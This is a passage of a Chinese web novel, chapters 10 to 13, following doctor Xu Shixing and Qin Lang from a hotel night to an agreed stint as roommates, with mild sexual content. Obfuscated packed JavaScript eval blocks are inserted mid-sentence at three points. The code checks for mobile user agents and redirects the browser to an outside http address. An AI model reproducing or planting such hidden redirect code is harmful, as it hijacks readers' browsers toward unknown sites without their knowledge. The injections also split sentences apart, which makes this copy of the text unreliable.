“眼神这么好。”徐时行握着方向盘,反应过来不对后马上问:“你怎么认得我的车?” “傍晚时在停车场看着你上车,我们差不多时间出发。”秦朗略带调侃的语气,被公放环绕立体音效清晰捕获,“开车技术欠佳啊,徐医生。” 徐时行听懂了,他明知还有个女生故意不提,却拿话噎他,于是决定扳回一城:“你特意下来等我?这么心急啊,弟弟。” 还有四五个车位到酒店环岛入口时,车窗被敲响,徐时行降下窗,看到秦朗收起手机对他说:“下车,钥匙给我。” 衣服还是白天那一身,纯黑短款派克外套敞开着,里面是同色半高领羊绒衫,额发被冷风吹得略微有些乱。他站在车外,就这么看着徐时行,莫名让人有种他才是车主的气场。 徐时行鬼使神差般照做了,才回味过来,我就不能回家路过吗? 晚了! 秦朗转头就把车钥匙丢给了一旁代客泊车的门童:“停好放前台。”继而回转过身,对徐时行说:“下来买东西,顺便等你,进去吧,风大。” “买什么?”睡眠不足使人变笨反应变迟钝,徐时行说完才察觉自己又被牵着鼻子走了。 酒店自动感应门缓缓开启,秦朗踏入大堂的脚步微滞,意味深长地看向他。 微妙的古怪气氛被上前问好的迎宾打断,“晚上好,先生们。” 二人随着一对情侣走进电梯,秦朗刷卡按下楼层键。 锃亮轿厢壁映出两对人影,只有徐时行不自然地垂下眼眸,就算不看也能察觉出那道目光直直落在自己脸上。 逼仄空间把静默拉长,情侣终于在中间层贴着离开,下一秒,他的指尖被挂上了一袋东西。 “什么?”徐时行条件反射钩住,抬头看到秦朗游刃有余一笑,目光却很迷离,“你不是问我买什么吗,自己看。” 轿厢继续匀速运行,徐时行拨开便利店环保袋,露出一盒套和一小瓶润滑。 彼此对视一眼,心照不宣。电梯到达28层,手腕处传来微凉触感,是秦朗吹了许久冷风的手掌。 徐时行被拉着穿过走廊,步幅频率越来越快,越来越凌乱。暖黄灯光暧昧,拉出两人并行的影子,在厚羊毛地毯上交叠重合。 秦朗嘀声刷开房门,来不及开灯整个人便被狠狠推向玄关水吧。他反手撑了下大理石台面,没稳住重心又被徐时行揪着外套门襟一把拉了起来。 “砰”一声,徐时行把门带上,吻同时落下。 一路踉踉跄跄,分不清是谁蹭歪了过道的装饰画,谁撞翻了会客厅的落地阅读灯,一齐摔进沙发。 11. 第 11 章 情潮褪去时已至深夜,徐时行睡意渐浓,意识模糊边缘制止秦朗要谈一谈的意思,“……别说话……在我醒来之前,别发出声音……” 房间昏暗,只有浴室镜灯透进来的微弱亮光。他闭着眼,鼻息翕张,额发垂下几缕半遮住眼睫,社交尺度和人情世故在这一刻统统卸下,完全不设防的模样。这远比任何语言描述生动,鲜活的有欲望有情绪的人,性感充满蛊惑力。 徐时行再次恢复意识是被吵醒的,手机铃声伴随着震动。他花了几秒回忆起昨晚,认出这是酒店,吃力地从怀抱中挣扎出一支胳膊,在床边的地板上捡起手机。 看清来电提醒的瞬间,一激灵醒透了。他猛地推了把秦朗,掀开被子下床,手忙脚乱捞起一条裤子就往腿上套,像极了做坏事被教导主任当场抓包的中学生。 秦朗睁开眼看到的就是这样一幕,刚想开口便被呵斥住,“别出声。” 秦朗:………… 徐时行光脚快步走向卫生间,顺路捞了件衬衫,才划开接听键,“喂,妈。” 电话那头钱慧静了两秒,问:“这个点还没起床?” “……昨天临时加班了。”徐时行对着浴室镜系纽扣,被镜子里画面惊得倒吸一口冷气,他拉开一点衬衫,锁骨以下红痕触目…… 电话那头钱慧听到了,问儿子:“今天这是怎么了?一惊一乍的。” “……没。”徐时行转身靠坐着台面,“妈你有什么事吗?” “哦,昨晚跟你爸商量一晚上,我俩一致认为要不你还是回家住吧。”钱慧边把一瓶纯净水倒进泡发盆里边说,半个手掌大的干鲍肉眼可见得莹润起来,“以前我们工作忙,现在都退休了,你回家住至少早晚餐有人照顾。唯一不好的是离单位远了些,大不了让你爸负责接送。” 在旁一字不落听到了的徐父冷哼一声,抖了抖报纸,“都三十了还家长接送,放眼全海市也没这样的。你安排你自己就行,别把我带上。” “哪有三十!”钱慧掩着手机狠狠瞪了老公一眼,转而又温柔地对儿子说,“别理你爸,他就这样,刀子嘴豆腐心。妈妈知道你从小懂事,一直让我们很省心。别着急拒绝,好好考虑考虑。” 徐时行下意识带上门,“妈,你知道我睡眠浅,而且经常夜班临时加班什么的,作息跟你们不一样,住一起不是互相影响么。大不了我多回去吃饭。” “那倒也对。那你晚上回来吃饭吧,我刚泡上干鲍鱼,炖个鸡汤。” “今晚不行……”徐时行胡诌,“今晚夜班。让我爸替我多吃点,他吃了就不好再顶嘴了。” 钱慧成功被逗笑,徐时行又跟她聊了两句别的,才挂了电话。 他看了眼时间,接近中午十一点,难怪钱女士会意外,自己亦被惊到,一夜好眠,睡了整整十小时。照镜子生出的那点气,顿时消了大半,心情变得十分复杂,从未有过的微妙感觉夹杂着一些尴尬和余怒。 必须得跟秦朗谈一谈,心里有些猜测和不解都要弄清楚。 徐时行走进房间,目光对上秦朗的凝视,打好的腹稿只剩下六个点:……。 秦朗倚着软包床靠背,双手虚虚地撑在两侧,上半身裸着,白色鹅绒被盖住腰腹以下,紧实饱满的腹肌隐入其中。 大清早,哦不,大中午的至于吗? 徐时行表面不动声色地挪开视线,好心弯腰拾起脚边属于他的纯白棉T,“穿上,起来我们聊聊。” 秦朗玩味地说:“你穿了我的裤子。” 徐时行用余光瞄了眼,“……”,难怪有点长,脚面都被盖住了。他心虚地咳了声,重新找到自己西裤,强装镇定凶道:“等着。” 徐时行顺便洗了把脸,思路随之清晰,关于秦朗的桩桩件件偶然与不合理凸显。 他慢条斯理地把皱巴巴的衬衫束进裤腰里,再套上西装,倒看不怎么出来,整个人精神多了。再次回到房间时,秦朗也已穿好衣服,换他去洗漱。 徐时行在窗边休闲椅上坐下,一心多用地边翻看信息边思考怎么说。 微信界面一列红色数字,除了置顶的舒思远以及科室大群,就是沈砚初了。徐时行能预料到他发了些什么,略过没敢点开。他返回最顶端,回复舒思远昨晚留言。 舒思远秒回:【懂了,谢师兄解惑。另外,师兄你火了!今天咱们医院公众号都被挤瘫了。】 紧跟着推送了个视频链接过来,标题网感十足——‘超帅的医生救了我的脸’。 点开,一段转录的直播截选,徐时行一眼认出视频里的主播,是曹开宇,他举着手机向粉丝们展示一张偷拍照片,语气很得瑟。 徐时行大概捋出了整件事的脉络,曹开宇在直播时透露照片,自己虽戴着口罩,但也别了胸牌。估计有眼尖的粉丝发现了,进而摸去弘诚官方账号,在那条他露脸的宣传视频下大规模评论。 “没想到你会热衷刷短视频。”秦朗不知何时出来的,正站在水吧前倒水。 “你没想到的事多了去。”其实徐时行从不刷短视频,没兴趣更没时间,上网冲浪时间堪比老年人,心里憋着一股劲故意这么说。他边说边淡定回微信:【热度很快就会过去】 舒思远:【运营管理部高兴了,广告费省掉一大笔。最后温馨提示,我今晚夜班。哭笑JPG.】 【别吃火龙果和芒果】徐时行把忠告发出去,手机屏幕朝下倒扣在茶几上,看向秦朗,做好了谈谈的准备。 秦朗被盯着看依然很松弛,慢悠悠喝了半杯水,“聊聊?” 徐时行微微抬了抬下巴,让他过来坐。 他们几乎同时开口—— 徐时行:“滑雪场那晚可能存在一些误会。” 秦朗:“如果我说对你一见钟情,你信吗?” 他们默契得就像已经写好剧本,按部就班上演。 但徐时行显然不吃他这套,冷静地靠坐进沙发,用眼神示意他继续。 “我知道你不信,但这的确是事实。”秦朗自嘲地笑了下,“也确实假冒了地陪。” “你跟……”徐时行想不起名字,“那个华裔究竟是什么关系?” “Max吗?单纯的临时雇佣关系。我从事私募基金工作,业务范围包括股票股权、债券期货,甚至艺术品电子货币。”秦朗陈述了部分事实,但又巧妙地避开了不能言说的细节。 徐时行在心里过了一遍秦朗的话,计时收取咨询费倒也说得过去。其实所有误会皆是自己的主观猜测和判断,依据只有那两条朋友圈。Max汉语水平有限用词不准情有可原,但单纯的业务往来跟拍到的私密照又很矛盾。 于是他心里怎么想的便直接问了:“你们24小时都住在一起?” “可以这么说,我不知道他会跟到这里来。我们说好在不影响我见客户的前提下接受他的咨询,住在一起比较节省时间。”秦朗说完很自觉地补充了句,“但他睡沙发。如果你介意的话,以后这类情况不会发生。” 什么叫我介意?我介哪门子意! 徐时行气笑了,一字一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988918|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 句地说:“我,不,介意。” 秦朗轻笑了下,“我只是说如果。” 徐时行只想赶快翻篇,又问:“你出现在陵医大是否有意为之?” “这个真不是,我不知道你会参加。” “已知你名校毕业,从事金融工作,薪酬不菲。”徐时行把手肘搭在沙发扶手上,环顾了下四周,“这里套房一晚不便宜,第一次见面的雪场酒店亦然,你的经济条件不俗,合理推断拥有一定人脉资源。一个经济条件优渥的金融从业者出现在陵医大校庆上,却险些被安保人员驱逐……” 他靠坐进沙发,用打量的眼神看向秦朗:“说吧,你所有不合理行为下的真实意图。” 选酒店时仅把离他家近作为最优选择,秦朗不能说,但他有备而来,“昨天我只是临时丢了邀请函。另外,没有冒犯的意思,我猜你夜里经常做噩梦,而我恰好能……”话到嘴边换了个更温和的措辞,“帮到你,这肯定也是你第二次主动找我的原因。” “继续。” “其实昨天见的教授帮不上忙,我需要你帮我牵线。”秦朗太知道怎么说服他,“当然,我们也可以不止是互帮互助的关系,一举三得。” 徐时行睨他,“哪门子一举三得?” “我的项目基线调查和你的睡眠问题解决了,我也不用一直住酒店。” “不用一直住酒店是指……?” 秦朗装样子分析他:“滑雪是烧钱的爱好,合理推测你有稳定且不错的工作收入。你参加陵医大校庆,跟校领导很熟,所以你的职业是医生。海市是你常住地,不可能没固定住所。”末了尾音一转,带了点暧昧,“不是你自己说让我陪你,一直住酒店多不方便。” 徐时行:…… 他静了静,虽不愿意承认,眼前这人足够聪明通透,各方面跟自己都很合拍,最重要睡整觉的诱惑实在大。 秦朗见他不表态,以退为进:“如果你不愿被束缚只想维持现状,开放式关系也没问题,这在国外很常见,我可以自己另外找地方住。” “你挺熟练啊。”徐时行敏锐捕获关键信息,“处理过不少开放式关系吧。” 秦朗故意逗他,“你也不错,小费给得很大方,是不是对我还挺满意?” 徐时行恍然大悟,打给我是打电话给我的意思。他维持着表面上的云淡风轻,嘴硬道:“想多了,我对谁都大方。” 秦朗见好就收,“那能理解为你同意了吗,徐医生?” 徐时行一瞬不瞬地看他,“你怎么知道我姓徐?” 空气中涌动起一触即发的紧张气氛。 秦朗眸光仓惶一闪,“我……”他大脑飞速运转,即刻想到应对答案,“……昨天听校领导叫你小徐。” “随便问问,你紧张什么。”徐时行心里缓慢地泛起阵阵涟漪,一段危险关系一旦有了限期危险系数便会随之骤降,“计划在国内待多久?” 秦朗沉思片刻,权衡再三后回答:“两个月。” 他从徐时行的表情变化知道,自己赌对了,悬着的心落了地,又听到他问:“你的疗休养项目我能看看么?” “当然。”秦朗起身取来厚厚一叠项目策划书。 徐时行快速浏览了两页说:“这个领域我接触少,倒是知道谁能帮到你。” 秦朗象征性高兴了下:“是吗,那太好了。” 徐时行合拢策划书,丢回茶几上,“两个月为期,好聚好散,中途随时可以提出终止。另外,我不喜欢话多的室友。” 12. 第 12 章 徐时行向来言出必行,秦朗更是行动派。客房服务送来早午餐,二人简单吃过后,便退房回了公寓。 徐时行用指纹按开门锁:“下次你也录个。” “别下次了,就现在吧。”秦朗推着行李箱站他身后。 徐时行恍惚了一秒钟,“行。” 他解锁管理员后台,添加人员信息4,秦朗嘴角弯了弯,“我不会是第一个吧?” 一号是他自己,二三号是父母,很符合常规逻辑的猜测。 徐时行听懂他的言外之意,瞥他一眼,莫名不想如他所愿,赌气道:“别给自己抬咖,加了不能删吗。” “那是第几个?”秦朗半信半疑地打量起他。 徐时行模糊焦点:“废什么话,录不录了?” “录录录。” 等秦朗按好指纹,拉开门徐时行才意识到家里此刻乱得吓人,自从那次钱慧女士整理打扫后,徐时行接连几天都忙,周末参加校庆也没机会叫阿姨上门。 徐时行换了鞋疾步走进客厅,手忙脚乱地收拾沙发上的衣物和杂物,但根本来不及。 “我以为医生都会有洁癖。”秦朗环顾四周,一目了然的两居室,格局周正,家具陈列极简到没什么生活气息,故而一点杂物便格外明显。 徐时行放弃挣扎,抱着衣服进主卧,淡淡地留下了句:“鞋柜里有新拖鞋,自己拿。” 秦朗把行李箱靠在墙角,打开鞋柜里里外外找了个遍,忍不住问:“其他拖鞋可以穿吗?” 徐时行没好气地说:“不可以,我虽然没有洁癖,但我爸妈有。” 秦朗拿出全鞋柜唯一一双新拖鞋,粉粉嫩嫩,还装饰着大蝴蝶结,心如死灰般拆掉透明包装袋,套上脚,半个脚后跟踩在鞋底外,又朝屋里喊:“拖鞋有点小!” 徐时行正在分类衣物,实在懒得回忆哪些是洗过收回来还没叠的,哪些是穿过来不及洗的,一骨碌全丢进洗衣篮,“凑合穿吧,别这么矫情。” 于是,他从主卧出来,正好对上穿着挤脚少女拖鞋走进客厅的秦朗。 徐时行:“……怎么不直说?” 秦朗冤死了:“怎么直说?我难道没说吗,我说可以穿其他拖鞋吗,你说不可以,我爸妈有洁癖。我说太小了,你说别矫情。” 徐时行忍了下没忍住,笑出声,抬手捋了两下秦朗后背,跟哄小孩揉宠物差不多,“对不起,别生气,我妈买的我不知道。明天给你买新的。” 秦朗脊背骤然一僵,很快恢复,跟着徐时行走进次卧。 “次卧朝向采光都比主卧好,缺点是没衣柜。”徐时行按下电动窗帘开关。 深米色亚麻窗帘徐徐拉开,阳光不要钱似得洒进来,细小浮尘跃动其间,整个房间显得更空了。当初买下这套公寓时他就没打算会有别人住,次卧极简到只有床,还没铺的那种。 秦朗只顾着看人了,分出注意力余光一扫,“怎么听起来是在邀请我住主卧。” “想多了,周间我很忙,你也需要私人空间,是让你克服一下暂时没衣柜的意思。需要什么家具自己买,给你报销。”徐时行越过他时看到他纯黑夹克纽扣上的克罗心标,忍不住补充,“别太贵。” “周间你很忙,我需要私人空间。周末你不忙我就不需要了,是这个意思吗?” “别太聪明。” “把我当工具人是吧,招之则来挥之即去。” “随你怎么说。” “除了工具人,就没点别的身份了?”秦朗追着徐时行问。 徐时行头也不回道:“室友。” “还有呢?你再好好想想。” “没了。我说过,不喜欢话多的室友。” 秦朗选择闭嘴,过了会儿又问:“这段时间我衣服放哪?”他路过主卧朝里面扫了眼,很有分寸地没直接进去。 “主卧衣帽间。”徐时行走进厨房站在流理台边,逐一处理枯黄干瘪的蔬菜和水果,“除了书房,其他地方你都可以随意使用。明天我把书房收拾了,再给你腾地方。” 主卧连着步入式衣帽间,U型三面衣柜顶天立地。衬衫外套从浅到深悬挂,叠放区有一格专门放白色棉T,其余按材质分门别类。足以看出周间究竟有多忙,才能把客厅用成那副样子。 秦朗刚想出去,只听身后一阵急促脚步声由远及近。 “那什么……”徐时行出现在衣帽间外,满脸慌张,“我先整理下。” 秦朗洞悉到异常,顺着他的视线转过头,目光聚焦在悬挂区底部,一个四四方方的纸盒。 “别!” 晚了。秦朗先他一步俯身抽出盒子,托在手里掂了掂,还挺有分量。 徐时行上前一把夺了回来,“你先出去。” “好凶啊,说翻脸就翻脸。是你自己说随便使用。” “别偷换概念,我是这个意思吗?” 秦朗垂首看盒面,印刷体广告语和品牌LOGO醒目,心知肚明里面是什么,越过徐时行时凑近他耳边,“不管什么意思,这个牌子不好用,以后别买了。” 买什么买,什么不好用?他根本没用过! 徐时行有口难辨,在心里把沈砚初骂了十几遍。 人一旦绷着的神经彻底断了,便无所畏惧,他把纸盒放回原位,破罐子破摔道,“不买不试怎么体现你工具人的价值。” 秦朗脚步一个趔趄,这次轮到他语塞,“……那我是不是得谢谢品牌方啊?” “给品牌方写封三千字的感谢信吧。”徐时行脱口而出,顿觉心情舒畅,继续回厨房收拾。 冰箱里能吃的东西扔得差不多了,只剩一打矿泉水、两瓶果酱和一包巧克力。 秦朗看了眼空荡荡的冰箱,“你平时不在家吃饭吗?” “偶尔,在家吃……外卖。”徐时行实事求是地说,“室友协议第一条,三餐自己解决。” “没问题,还有呢?” “公寓里产生的一切开销由我支付。互不干涉私生活,包括但不限于工作、社交……” 秦朗沉声:“怎么感觉在给自己留退路。私生活很多吗?” “互不是彼此约束,双方的。”徐时行啪一下推上冰箱门,“避免以后说不清,我觉得有必要罗列出所有条款。” 两人各占一个房间心怀鬼胎,秦朗声称在衣帽间归置衣物,捎带着偷看了下盒子里究竟有些什么种类。打开的瞬间就傻眼了,这也玩得太花了吧! 另一边,徐时行佯装在书房拟室友协议,却先点开了搜索引擎。他输入肇事者的名字以及各种关键词,都查不到任何有效信息。 长久以来,父母对弟弟相关的一切讳莫如深,徐时行决定这周抽空回家一趟,至少家里一定会有判决书。 “砰砰”两下,书房门被秦朗敲响。 徐时行条件反射地退出页面,抬起头:“怎么了?” “饿了,我想下单买点食材,你喜欢什么?” 徐时行扫了眼电脑屏幕右下角,快六点了,才后知后觉到饿,“还是我来买吧。” “你会做饭?”秦朗问。 一击必杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14988919|161603||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。如果煎个蛋烤个土司算会做饭的话,那还是会的。 秦朗见他不说话,笑了下,径直点开生鲜超市app,“有什么忌口吗?” “没有。” “葱姜蒜?” “哦,这些不吃。” “鱼类海鲜?” “不吃河里的,吃海里的,不吃生的。” “……真行。”秦朗无奈地又问:“肉类呢?” “不吃太肥的带皮的,还有内脏。”徐时行意识到气氛有点怪,清了清嗓子,“其实不用管我,你按自己喜好来就行。” “买好了,你继续忙。”秦朗转身要走,被徐时行叫住,“等等,多少?我转给你。” 反驳的话到嘴边,秦朗说出口时换成了,“一千零五十,从之前小费里扣好了。” 叮声,支付宝到账一千一,界面里上一条记录是两千。秦朗觉得自己又被‘怜爱’了一次,心情十分复杂,边界感在这种时候是令人厌恶的东西。 生鲜外卖电话还没打来,医院求助电话倒先打了进来。徐时行看到来电提醒就应激性心悸,接通的第一时间问:“怎么了?你不是夜班吗?” 电话那头舒思远欲哭无泪,“现在六点多了,有个待处理的18月龄幼儿,家长不接受实习医生。”通话夹杂着小孩子哭声,和家长呵斥声,估计是舒思远走开了点,背景音小下来,“师兄,你信我,真没吃芒果也没吃火龙果。” 手机夹在脸颊和肩膀之间,徐时行拎起挂在椅背上的外套,边穿边说:“知道了,马上过来,你先安抚好家长情绪。” 秦朗在开放式厨房竖着耳朵都听到了,见他出来明知故问:“出去?” “嗯。”徐时行弯腰在玄关换鞋,“一会儿食材送到,你帮我整理进冰箱,谢谢。” 礼貌教养如肌肉记忆脱口而出,但听在秦朗耳朵里就只剩距离感,“客气了。大概几点回来?” “不好说,别等我。”徐时行匆匆出了门。 生鲜超市配送员很快将两大袋食材送达,鸡蛋、芦笋、串收小番茄、雪花和牛、羊排、迷迭香……逐渐填满冰箱。 秦朗手脚麻利地整理妥当,拿吸尘器吸了地,路过沙发时顺手叠好羊毛毯把靠背摆放整齐。又慢吞吞洗了个澡,把脏衣篮里的衣服一起丢进洗衣机,做完这一切,一看时间才过了四十分钟。 他打着哈欠给徐时行发信息,【回来前给我打个电话】他昨晚没怎么睡,一闲下来困意排山倒海般袭来。 信息石沉大海。 秦朗径直走进主卧,掀开被子躺进去,独属于徐时行的气息包裹着他,贪婪地往被子里又缩了缩,几乎秒睡。 丝毫没察觉入户门嘀声开启。 钱慧提着个保温桶在玄关换鞋,三十几年教龄使她对任何细枝末节格外敏感。第一时间发现,自己上周买的那双新拖鞋不在柜子里。 动作和呼吸同时轻缓下来,她轻手轻脚走进客厅,特意没开顶灯。借着入户感应灯的亮光看到餐厅厨房干净整洁,心里某种猜测愈加浓烈。于是更加小心翼翼,屏息无声地拐出餐厅。一眼看到主卧地板上脱着双粉色蝴蝶结拖鞋!床上躺着人! 钱慧欣喜若狂,短短几秒间已经想好了见面礼金镯子要买什么款式。 床上熟睡中的秦朗对此一无所知,并惬意地翻了个身,窸窸窣窣。 他的翻动令钱慧迅速冷静下来,想到即便自己开明不介意,但没有哪个小姑娘会乐意这种情况见婆婆。一步步原路退回玄关,悄么声换回鞋,用极小的动静‘咔嗒’带上门。 13. 第 13 章 钱慧带着原封未动的保温桶返回车上,先给儿子留言:【突然有点累,今天不过去了。】 再往上划,是她半小时前发的。 【儿子,是不是在忙?打你电话没接。】 【下午炖得汤很浓,你一份,外公外婆一份,我跟你爸分头行动。一会儿进门就不跟你报备了。】 【希望这次家里没惊喜】 来来回回检查了两遍,思路流畅逻辑通,且没留下隐患,钱慧满意地放下手机,挂挡启动驶出车库。 徐时行看到这几条微信时已过八点,心率过山车似得,短时间内急剧飙升又骤然速降。 他定了定心,回复:【刚忙好,这两天我抽空回家一趟。】同时思考,接下来要怎样杜绝这种情况发生,虽说两个男人一起住托辞诸多,总归心虚怕露馅,能防则防。 心情乱糟糟地返回主界面,置顶的五个对话框,有两个缀着红色数字。再往下是各种发言活跃的群,以及被叛逆期假儿子闹腾得憋屈,只能以老友那点花边绯闻取乐的沈砚初。 徐时行自上而下依次点开。外公外婆在夸汤,他跟着发了个竖大拇指的表情包退出。正准备换衣服,办公室门被拧动,伴随着一声:“师兄,我进来了啊。”舒思远一阵风似得刮了进来,手里提着两个个外卖袋。 他把外卖袋放在办公桌上,逐一撕开封口,拿出碗馄饨和一盘果切,“刚从前台拿回来的,师兄你趁热吃,我回去了。”说罢不给徐时行拒绝的机会,又一阵风似得刮走了。 办公室门砰一声关上,没几秒复又打开,舒思远探进一颗脑袋,“馄饨汤底没放葱,虾仁肉馅也没有姜,这次没忘。” 徐时行笑了下,“知道了,谢谢,赶紧去吧。” 舒思远临走前没头没脑说了句:“过敏了吗,我办公桌抽屉里有地塞米松软膏。” 徐时行不明就里,直到他不慌不忙掀开食盒,紧接着给外公外婆打了个视频电话。曼丽一口一个‘仔仔’,说哦呦怎么这个时间才吃晚饭啊,私立医院比资本家还资本家。徐时行附和着她一起骂,一碗小馄饨一碟果盘被老太太监督着吃了个干净。 食盒被徐时行推到镜头外,画面上只有大头特写,曼丽眯起眼睛,一本正经问:“这个季节还有蚊子吗?” 徐时行一时没反应过来,见屏幕里的外婆抚了抚自己脖子示意,他才恍然大悟,手机差点摔地上,“是……是过敏。”难怪刚才舒思远会这么说。 “是吗。”外婆推了推眼镜,“看着不怎么像”朝镜头外唤,“老头子你来看看,仔仔过敏了。” 一家子医护人员外加小学老师,真真是说不了一点谎,徐时行哪还敢继续聊下去,镜头拉成虚焦,匆匆找了个借口挂掉视频。 九点,特斯拉Model-Y从弘诚停车场驶出,过了晚高峰时间,一路通畅。车子右拐,进入最后个路口,徐时行在红灯前踩下刹车,中控台上的手机震动,余光瞥到有新信息跳出。 他随手划开,头像是个墨黑背影,是秦朗。两条未读信息随着新的一条同时挤上前排。徐时行划开,看到他问:【快回来了吗?】 一小时前:【入户门外装个监控吧?】 一个半小时前:【回来前给我打个电话】 绿灯亮了,徐时行直接语音电话回拨过去,“怎么了?” “什么怎么?当然是等你吃饭。” 听筒里同时传出的还有一小段旋律,是洗衣机烘干程序结束的提示音。 “我……”不是说了不用等我吗,到底心软,话到嘴边换成了:“……现在要回来了。” 一个谎言终究要另一个谎言去圆。现在直接回去,时间对不上。徐时行打转方向盘,调头驶入反方向车道,路过大型生活商超,临时起意拐了进去。伴随着打烊专属萨克斯旋律,他慢悠悠排队买完拖鞋,缴费取车,看了眼时间,刚好差不多。 差五分十点,徐时行第一次按开自家门锁是带着心虚的情绪。 屋内灯火通明,一目了然的清爽,厨房方向传来抽油烟机的鼓风声。秦朗背身而站,头发蓬松自然地垂下,一身黑配双不合脚的粉拖鞋,乍一看还挺喜感,甚至有种居家贤惠的错觉,如果不开口的话。 牛排油脂在炉火上散发出浓郁焦香,吧台台面上有份拌好的金枪鱼沙拉,两杯百香果热饮特意装饰了橙片。 难怪傍晚下单时那么有底气。 徐时行走到吧台边,按了两泵免洗凝胶,故意放大动静,秦朗闻声半转过头,看了眼超市购物袋,“买的什么?” “拖鞋。” “给我的?”秦朗明知故问,“怎么感觉你对我格外用心。” 徐时行正在喝热饮差点呛到,杯口被特意抹过一圈桂花蜜,也不知道谁更用心,嘴里是甜的,话有些生硬,“顺路。” “七分熟可以吧?”秦朗噙着笑转开视线,关掉油烟机,熟练掂锅翻面。 徐时行嗯了声,在高脚凳上坐下,“看起来挺像回事。” “吃起来更像回事。”秦朗撒海盐黑胡椒,熄火摆盘游刃有余,刀叉塞进他手中,“尝尝。” 确实不错,即便徐时行此刻很饱,也忍不住又切了块送入口中。 “怎么样?合不合胃口?”秦朗在他对面落座。 “还不错。” 秦朗问:“打几分?” 徐时行放下刀叉无语道:“经常用这招吗?” “什么意思?” 徐时行喝了口热饮,还是没忍住,换了个说法:“让多少人给你打过分?” 秦朗瞬间懂了,“你觉得厨艺好是什么求偶技能吗?” “我可没说你厨艺好,别给自己贴金。”徐时行垂眸继续切牛排。 秦朗轻笑了下,带着点自嘲的口味说:“我很小就会做饭,刚上小学没多久,那时候又矮又瘦,比灶台高不了多少,还得踩个小凳子。” 略带意外的神色稍纵即逝,很快被温柔覆盖,徐时行蓄力一路的愧疚心软在这一刻达到顶峰:“那你很厉害。” 秦朗一怔,他从不主动回忆小时候的生活,有记忆起便只有保姆,记不清的各种面孔,短的个把月最长也不会超过一年。运气好遇到负责品性好点的,才能受到应有照料,否则就要做好准备饿肚子。 整段过往晦暗无光,却在多年后的这个夜晚,有了不一样的光点。而最初踩着凳子的自己,也隔着近二十年时光,获得嘉奖。 秦朗满眼温柔地说:“我没为别人下过厨,你是第一个。” 话题转换令人猝不及防,徐时行手上动作顿了顿,“是吗,我的荣幸。” “那你给我打多少分?” 徐时行妥协道:“十分,满意了?” “听起来倒是你对我很满意。” 果然温情只够撑一分钟,徐时行无语地说:“我是这个意思么。” 秦朗似笑非笑:“都给满分了,还说不满意。” “想多了,满分一百。”徐时行笑了笑,放下餐具起身,“吃完放着就行,我来收拾。” 结果他洗完澡出来厨房已经收拾过了,徐时行关掉顶灯,进书房看了会儿书,又完善了下午弄一半的室友守则,一式两份打印好。他打开微信想发给秦朗,下划找到黑漆漆的头像,输入:【睡了吗?】 秦朗没回,徐时行放大头像,画面上是条很深的隧道,有个落寂背影逆光穿行,退出,手指点开右上角三个点,犹豫了下,最终开启置顶。返回对话框时,依旧没收到回复,他关了电脑准确去睡觉。 刚进卧室就看到床上有人先他一步已经躺着了。 “……”徐时行站在床边,居高临下地说,“别装睡,回去。” 主卧亮着一侧床头阅读灯,秦朗闭着眼在柔光中勾起唇角,“不是你叫我来的吗?” “我有吗?”徐时行反问道。 “你没有吗?”秦朗噙着笑睁开眼,单手叠在颈后,“夜深人静,发信息问睡了吗,这不就是赤裸裸的邀请吗?” “你什么脑回路?!”徐时行几乎咬牙切齿,“……算了。那麻烦告知一下,几点前给你发信息不是邀请的意思,我好避开。” 嘴角的笑意逐渐扩大,秦朗很不要脸地说:“你发的话,不管几点都是这个意思。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐时行再度被自己的话回旋正中靶心,扎得透透的。他静了静,终觉躲不过,“你分析得没错,是别人送的。可你究竟想表达什么?” 夜色中,秦朗喉结无声地滑动,“下午听到你说互不干涉私生活,还是有些失落的。特别是后来你把所有事都划分得那么清楚仔细。”顿了顿,声音低沉下来,“却有一个人,他与你亲近到能送你如此私密的东西。除此之外,你还有更多我无法触及的过往经历,原以为自己能坦然面对,但事实上一想到这些,我更失落。” 徐时行一时不知该怎么接话,平时斗嘴互怼可以大脑飞转,面对这种内心剖析就卡壳了,毫无经验。 卧室里沉默了一阵,又听秦朗说,“我知道这些话现在说为时过早,可我怕现在不说以后就没机会了。” “第一次见面只想还能再见就好了,再见时又会想更进一步。就像暗恋者得到一丁点回应,便会奢望更多,这是人本性如此。如果说滑雪酒店那晚是我处心积虑,那昨天你拉住我塞给我名片便是命运的馈赠,我无法战胜本性考验两次,太难了。 ” “所以,我想表达的是,我不愿意跟你只做炮友,也不愿意跟你好聚好散。能不能别一开始就给这段关系下定义?至少给我追你的机会。” 卧室再次陷入寂静,徐时行心里很乱,像颗无序缠绕解不开的毛线球。视觉逐渐习惯环境,能看出大致轮廓,眼前有团黑影欺身而下,近到温热吐息都能清晰感受。 秦朗单手撑在他耳侧,问:“睡了?” 徐时行索性继续装睡,谁知下一秒便被秦朗戳破:“我知道你没这么容易入睡,再装就亲你了。” 徐时行应激性抵住他,“不知道说什么。” 